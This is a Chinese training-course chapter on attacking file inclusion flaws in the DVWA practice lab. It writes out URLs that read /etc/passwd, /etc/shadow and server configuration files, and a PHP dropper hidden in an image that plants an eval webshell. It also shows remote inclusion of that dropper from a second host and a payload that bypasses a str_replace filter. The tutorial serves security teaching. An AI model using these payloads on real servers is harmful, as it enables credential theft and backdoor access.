3.2 文件包含漏洞渗透实战(OWASP实战训练)
- 原理及危害
- 3.低安全级别渗透
- 3.1本地文件包含漏洞
- 3.2 本地文件包含漏洞+webshell
- 3.3远程文件包含漏洞
上一节讲了本地文件包含和远程文件包含
本地文件包含需要将文件传上去或者不传上去(本地系统的一些文件)
我们是传不了PHP的文件,高安全级别下,如果能上传PHP文件,就不需要这么麻烦了,我们传图片,当然传图片上去不一定能用,本身还要找他的文件包含漏洞,如果传了一个包含生成一句话木马的图片上去,恰好又有文件包含漏洞,就可以执行图片在本地生成一句话木马PHP文件,这样就可以用菜刀这种攻击连接一句话木马,获取其webshell
上传图片,能被包含执行,可能会看到乱码,但是有正确的代码执行。
学习安全上来就攻击这个网站不可能,需要建立起基础体系,很多高手工具一点也看不懂,讲完后,可能也达不到随心所欲攻击的结果,这个课也不长,真要学的话也要学好几个月呢,但是可以保证再去看高手的攻击步骤就能看懂了。就可以开始自学或者使用了,否则开始看都看不懂,因为高手在写案例的时候不考虑基础。
原理及危害
Php.ini文件会影响到很多东西,如upload限制上传文件大小等,我们关注的是allow_url_include = on 开启允许包含能力,还需看开发人员是否包含你上传的文件。
远程文件包含真的没有用,应该关上(allow_url_fopen)
注意在# vim /etc/php5/cli/php.ini 此路径仅限于此靶机路径,你的服务器路径就可能不是这个路径了。
这个路径是需要有一定的运维能力才能去找到的。
3.低安全级别渗透
3.1本地文件包含漏洞
访问本地系统账号信息及其他敏感信息
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/shadow
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
http://192.168.56.103./dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
http://192.168.56.103/dvwa/robots.txt
或者http://192.168.56.103/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/robots.txt
这个robots每个网站都有名字相同
www.qfedu.com/robots.txt
我们的网站会被百度谷歌等浏览器爬取,这个robots.txt是一个爬取的公共协议,这里写的那些目录不能爬,那些能爬,百度就会遵循这个协议来爬取自己能爬的网站。当然有些恶意的爬取就不管这些协议了。这是爬取行业的一个规范。
但是往往这么写有另外的问题暴露了你的一些信息,所有这个
下面通过访问www.qfedu.com/robots.txt得到千锋的一些信息
#
# robots.txt for EmpireCMS //此处使用 EmpireCMS来建立的站
#
User-agent: *
allow:http://www.qfedu.com/sitemap.xml
Disallow: /d/
Disallow: /e/class/
Disallow: /e/config/
Disallow: /e/data/
Disallow: /e/enews/
Disallow: /e/update/
Disallow: /js/
Disallow: /img/
Disallow: /css/
Disallow: /testdata/
Disallow: /testing/
Disallow: /ceshi/
Disallow: /*?*
Disallow: /*test.html
Disallow: /*test/
Disallow: /*test/*test.html
Disallow: /jingjia/*.html
//此处使用 EmpireCMS来建立的站,网站都是在人家的框架基础之上二次开发的,现在dede,帝国,CMS系统当然会有漏洞。
像这种通用的东西,能减少开发周期,后期维护也较为简单,但坏处也明显,一旦有什么漏洞,使用这个多的也中招。
Robots也是个敏感文件
本地文件包含后面可以跟密码、账号、系统信息、PHP配置、Apache配置像Robots之类的敏感文件,当然Robots这个文件谁都可以访问,只要知道这个名字。
3.2 本地文件包含漏洞+webshell
1.制作一句话图片木马 e.g. yangge.jpg
<?fputs(fopen("shell20.php", "w"),'<?php eval($_POST[yangge]);?>')?>
2.上传图片木马文件
3.执行文件包含并生成后门(并不是访问图片,将其内容包含在某个程序中执行)
4.通过菜刀连接webshell
提示:
/var/www/dvwa/hackable/uploads //dvwa文件上传访问的目录 yangge.jpg
/var/www/dvwa/vulnerabilities/fi //dvwa文件包含访问的目录 shell20.php
将生成木马程序添加到图片后大小变化很小。
下方是图片上传的位置
http://192.168.0.105/dvwa/hackable/uploads/hacker.jpg
所有静态资源服务器都不会执行,只有动态资源才会执行,我们要的不是把这个资源再请求回来,而是在服务器中被当成程序执行一遍。
http://192.168.0.105/dvwa/vulnerabilities/fi/?page=include.php
将这个图片包含执行后生成的文件在
http://192.168.0.105/dvwa/vulnerabilities/fi/
下
写全路径行吗,现在上传目录已有,文件包含目录也已有,刚才上传的图片在,现在是需要包含了,好像使用绝对路径有点问题,是不可以的,现在的话使用相对路径。
如果图片不行的话可能复制的一句话木马有问题
已经发现问题了,是代码的问题现在我在图片木马文件下建立了一个shell2.php里面是生成木马程序
只需点击a.bat文件在当前目录下打开cmd执行下方代码
copy meinv.jpg/b+shell2.php/a meinv3.jpg
就生成了meinv3.ipg图片木马,将其上传使用包含漏洞是可以执行的。
http://192.168.0.105/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/meinv2.jpg
执行上方的地址后下方会出现乱码,接着在上方的路径下能看到生成的PHP一句话木马。
接下来连接就没问题了
使用菜刀连接此地址
http://192.168.0.105/dvwa/vulnerabilities/fi/shell20.php
密码yangge这样就连接上了。
其实我们可以上传图片木马,也可以建一个txt文件在里面写上生成木马程序,当此文件被包含的时候和图片木马一样也能在其服务器上生成shell20.php木马文件。
在/var/www下建立一个txt文件包含以下内容。
<?fputs(fopen("shell50.php", "w"),'<?php eval($_POST[yangge]);?>')?>
3.3远程文件包含漏洞
这就不是那么费劲了。只要我们搭建一个服务器将图片放上去,再将图片包含进去即可,此时使用路径http://192.168.0.107/meinv2.jpg
这个路径在另一个owasp上的根目录下,来验证远程包含
或者http://192.168.0.107/yangge.txt
接着执行
http://192.168.0.105/dvwa/vulnerabilities/fi/?page=http://192.168.0.107/yangge.txt
这时下方就没有乱码了,因为不像图片那样还有多余的数据会出现乱码。
接着再在被攻击的owasp中的/var/www/dvwa/vulnerabilities/fi
路径下看到新生成的shell50.php文件
这个远程文件包含是非常简单的只要将这个图片或者txt放在自己准备的服务器上就行了。或者攻击一个网站将含有木马的图片上传其服务器上。
也可以是其他后缀的图片文件之类的。
我们使用上传和包含的漏洞进行的。
很显然远程包含效率要高一些。
将file inclusion安全级别调为中级
先来到文件包含漏洞页面看一下源码
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
中安全级别对本地文件包含漏洞利用没有任何影响,上传一个图片也是没问题的,和之前的一样。但是远程文件包含就有问题了,他会将你的http://变成了空,这样就无法远程包含了。
那如果这样写
http://192.168.0.105/dvwa/vulnerabilities/fi/?page=httphttp://://192.168.0.107/yangge.txt
这样就能访问生成木马了。
httphttp://:// - http:// =http://
将file inclusion安全级别调为高级
那如果是高安全级别呢?
<?php
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
?>
这包含特定文件,只要不是include.php就报错不执行。应编码,对于后期修改也是不灵活的,但也安全。
这种安全,但对开发人员来说比较痛苦。有可能要包含很多的文件。但还是对要包含的文件有些限制。
包含本身是正常的,要看其有无包含行为,并且其对包含文件没有检测才造成了这个漏洞。不要轻看这个,页面多了就可能犯错,后面会讲web漏扫,实际上一个网站不会告诉你有什么漏洞,所以要漏扫,扫出漏洞,通过漏扫软件,一旦扫出效果就和上方一样。
文件包含漏洞在整个排行不高,任何一个点不安全都会导致权限被拿走。
下一讲会讲到sql注入,这是排在第一位的安全问题。